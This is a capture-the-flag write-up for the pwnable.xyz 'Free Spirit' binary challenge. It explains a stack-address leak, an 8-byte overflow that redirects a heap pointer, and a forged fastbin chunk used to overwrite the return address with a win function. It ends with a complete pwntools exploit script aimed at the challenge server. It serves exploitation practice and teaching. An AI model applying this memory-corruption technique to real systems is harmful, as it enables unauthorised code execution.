pwnable.xyz Free Spirit Writeup

Observation

The program is a simple program that gets user input and does things in the background.


It only accepts integers 1-3. Examining the assembly code confirms this.


User input goes through atoi() and goes into a kind of switch

  • If user input equals 1, do read()
  • If user input equals 2, do printf_chk(),
  • If user input equals 3, do movdqu

Before getting into the details of what happens on valid inputs, we need to first understand the context

Setup

In the function prologue, r12, rbp and rbx are pushed, rsp is decremented by 0x50 to store our stack variables and stack canary is set up. Note that the usual push rbp followed by mov rbp, rsp are not present here and rbp is not used as a frame pointer so the stack layout is as follows:


Before entering the input loop at 0x004007f8, we have pHeapChunk = malloc(0x40)

Input Loop

At the beginning of the input loop, arrcInputBuf is zeroed out then filled with read(0, &arrcInputBuf, 0x30) and converted to integer withatoi(&arrcInputBuf) and the value is checked:

  • If the input is 1, *pHeapChunk is filled with read(0, pHeapChunk, 0x20)
  • If the input is 2, &pHeapChunk is printed
  • If the input is 3, write double quadword of *pHeapChunk to &vulnVar with movdqu. Intuitively, this is effectively memcpy(&vulnVar, pHeapChunk, 0x10)
  • If the input is 0, if pHeapChunk is NULL, then exit with error. Else, do free(pHeapChunk) and return

Exploit

Vulnerabilities

Option 2 is an (intentional) information leak which allows us to calculate the return address with &returnAddr = &pHeapChunk + 0x58. Intuitively,

  • rsp = &pHeapChunk - 0x10
  • &returnAddr = rsp + 0x68
  • so &returnAddr = (&pHeapChunk - 0x10) + 0x68

Option 3 is an 8 byte buffer overflow which will set pHeapChunk = *(pHeapChunk + 8). We can control what is written here with Option 1. Together, we can control where pHeapChunk points to and write there whatever we want.


Since the control flow to return must pass through free(pHeapChunk), and to reach it pHeapChunk cannot be NULL, we must ensure that pHeapChunk is a valid pointer to chunk before returning. However, the address of the original heap chunk is not available so a fake chunk must be forged.


There are quite a few places we can write to but I chose 0x00601050 to write a 0x40 fastbin chunk.


Oh, and the address of the win function &win is 0x00400a3e

Steps

  1. Leak &pHeapChunk with option 2 and calculate &returnAddr
  2. Set *(pHeapChunk + 8) = &returnAddr with option 1
  3. Set pHeapChunk = (*pHeapChunk + 8) with option 3. Now pHeapChunk = &returnAddr
  4. Set *pHeapChunk = &winAddr and *(pHeapChunk + 8) = &fakeChunk - 8 with option 1. Now returnAddr = &winAddr
  5. Set pHeapChunk = (*pHeapChunk + 8) with option 3. Now pHeapChunk = &fakeChunk - 8, the fake chunk’s size field address
  6. Set *pHeapChunk = 0x40 and *(pHeapChunk + 8) = &fakeChunk with option 1. Now the fake chunk’s size is set to 0x40
  7. Set pHeapChunk = (*pHeapChunk + 8) with option 3. Now pheapChunk points to a valid chunk
  8. Exit with option 0

Code

To be consistent with C notation, I use camelCase in python exploits and varName_addr means &varName. Please bear with the returnAddr_addr


from pwn import *
p = remote("svc.pwnable.xyz", 30005)
SA = lambda data : p.sendafter(b">", data)
S = lambda data : p.send(data)
win_addr = 0x00400a3e
fakeChunk_addr = 0x00601050
# Calculate &returnAddr from leaked &pHeapChunk
SA(b"0" * 0x2f + b"2")
pHeapChunk_addr = int(p.recvline(), 16)
returnAddr_addr = pHeapChunk_addr + 0x58
print(f"&pHeapChunk: {pHeapChunk_addr:016x}")
print(f"&returnAddr: {returnAddr_addr:016x}")
SA(b"0" * 0x2f + b"1")
S(p64(0) + p64(returnAddr_addr)) # *(pHeapChunk + 8) = &returnAddr
SA(b"0" * 0x2f + b"3") # pHeapChunk = &returnAddr
SA(b"0" * 0x2f + b"1")
S(p64(win_addr) + p64(fakeChunk_addr - 8)) # *pHeapChunk = &win, *(pHeapChunk + 8) = &fakeChunk - 8
SA(b"0" * 0x2f + b"3") # pHeapChunk = &fakeChunk - 8
SA(b"0" * 0x2f + b"1")
S(p64(0x40) + p64(fakeChunk_addr)) # *pheapChunk = 0x40, *(pHeapChunk + 8) = &fakeChunk
SA(b"0" * 0x2f + b"3") # pHeapChunk = &fakeChunk
SA(b"0" * 0x2f + b"0") # exit :)

© 2023 Marc Owen Rentap